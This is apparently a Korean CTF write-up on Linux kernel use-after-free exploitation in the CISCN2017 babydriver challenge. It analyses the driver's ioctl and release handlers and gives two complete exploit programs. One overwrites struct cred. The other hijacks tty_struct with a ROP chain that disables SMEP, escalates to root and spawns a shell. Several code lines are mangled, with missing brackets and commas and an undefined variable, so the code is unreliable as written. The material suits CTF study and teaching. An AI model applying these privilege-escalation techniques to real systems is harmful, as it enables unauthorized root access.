Kernel UAF

  • Kernel의 힙 할당

    커널은 kmalloc(), kfree()를 통해 Kernel 영역에 heap 메모리를 할당, 해제하는 방식이다.

  • Kmalloc

    1
    void *kmalloc(size_t size, gfp_t flags);
    cs

    첫번째 인자값은 할당 크기를 전달

두번째 인자값은 할당 할 메모리의 유형

기본적으로 Kernel에 메모리를 할당하기 위해 GFP_KERNEL을 사용

https://www.kernel.org/doc/htmldocs/kernel-api/API-kmalloc.html

  • Kfree

    1
    void kfree(const void * objp);
    cs

    Kmalloc으로 할당된 포인터 주소를 전달

메모리 해제

https://github.com/genodelabs/linux_drivers/blob/master/src/lib/dde_linux26/arch/dde_kit/kmalloc.c

Kernel UAF(CISCN2017 babydriver)

Setting

root@aht5886:~/ctf-challenges/pwn/kernel/CISCN2017-babydriver/core# ls
babydriver.tar    boot.sh  bzImage  rootfs.cpio
cs
root@aht7525:~/kernel/cin# cpio -idmv < rootfs.cpio
cs
root@aht7525:~/kernel/cin# file babydriver.ko 
babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
cs

Analysis

babyioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax
 
  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = 0xFFFFFFFFFFFFFFEALL;
  }
  return result;
}
cs

babyrelease

1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}
cs

중요한 것은 이것 두가지이다.

babyioctl을 이용하여 원하는 크기를 할당할수 있고 babyrelease를 이용하여 해제할수 있다.

그런데 이때 uaf가 발생한다.

Using Struct cred

how can exploit?

device를 두개 open

babyioctl을 이용하여 heap에 168만큼 할당(struct cred’ size = 168)

close

fork(fork -> copy_process() -> copy_creds() -> prepare_creds() -> kmem_cache_alloc() / 따라서 할당된곳에 struct cred를 덮을수 있다.(uaf))

babywriter함수를 이용

쉘실행

struct cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};
cs

exploit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/prctl.h>
 
int main(){
        int fd1 = open("/dev/babydev",O_RDWR);
 
        if(fd1 < 0){
                printf("fd1 error!\n");
                exit(0);
        }
 
        int fd2 = open("/dev/babydev",O_RDWR);
 
        if(fd2 < 0){
                printf("fd2 error!\n");
                exit(0);
        }
 
        if((ioctl(baby1,0x10001,0xa8)) < 0){
                printf("ioctl error!\n");
                exit(0);
        }
 
        close(fd1);
 
        int pid = fork();
 
        if(pid < 0){
                printf("fork error!\n");
                exit(0);
        }
 
        if(pid == 0){
                char zero[32= {0,};
                write(fd2,zero,32);
                sleep(1);
                if(getuid() == 0){
                        system("/bin/sh");
                }else{
                        printf("fail..\n");
                        exit(0);
                }
        }else{
                wait(0);
        }
}
cs

Using tty_struct

how can exploit?

유저 공간의 레지스터를 저장

rop와 가짜 tty struct 구성

babydev 두개 오픈

736byte의 heap 메모리 저장

메모리 해제

/dev/ptmx 파일을 열어 파일 디스크립트 정보를 저장

tty_struct를 덮는다

get shell

tty_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
struct tty_operations;
 
struct tty_struct {
    int    magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
 
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
 
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;        /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;        /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;    /* Bytes free for queue */
    int flow_change;
 
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;        /* protects tty_files list */
    struct list_head tty_files;
 
#define N_TTY_BUF_SIZE 4096
 
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;
 
cs

exploit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420
 
void* fake_tty_operations[30];
 
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{       
        __asm__("mov user_cs, cs;"
                        "mov user_ss, ss;"
                        "mov user_sp, rsp;"
                        "pushf;"
                        "pop user_rflags;"
                        );
        puts("[*]status has been saved.");
}
 
 
void get_shell()
{   
    system("/bin/sh");
}
 
void get_root()
{   
    char* (*pkc)(int= prepare_kernel_cred_addr;
    void (*cc)(char*= commit_creds_addr;
    (*cc)((*pkc)(0));
}
int main()
{
    save_status();
 
        int i = 0;
    size_t rop[32= {0};
    rop[i++= 0xffffffff810d238d;              // pop rdi; ret;
    rop[i++= 0x6f0;
    rop[i++= 0xffffffff81004d80;              // mov cr4, rdi; pop rbp; ret;
    rop[i++= 0;
    rop[i++= (size_t)get_root;
    rop[i++= 0xffffffff81063694;              // swapgs; pop rbp; ret;
    rop[i++= 0;
    rop[i++= 0xffffffff814e35ef;              // iretq; ret;
    rop[i++= (size_t)get_shell;
    rop[i++= user_cs;                /* saved CS */
    rop[i++= user_rflags;            /* saved EFLAGS */
    rop[i++= user_sp;
    rop[i++= user_ss;
 
        for(int i = 0; i < 30; i++)
        {
                fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;
        }
    fake_tty_operations[0= 0xffffffff810635f5;  //pop rax; pop rbp; ret;
    fake_tty_operations[1= (size_t)rop;
    fake_tty_operations[3= 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
 
    int fd1 = open("/dev/babydev", O_RDWR);    
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x100010x2e0);
    close(fd1);
 
    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[4= {0};
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3= (size_t)fake_tty_operations;
    write(fd2,fake_tty_struct, 32);
 
    char buf[0x8= {0};
    write(fd_tty, buf, 8);
 
    return 0;
}
cs

Reference

https://www.lazenca.net/pages/viewpage.action?pageId=29327365

https://www.lazenca.net/pages/viewpage.action?pageId=25624864

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/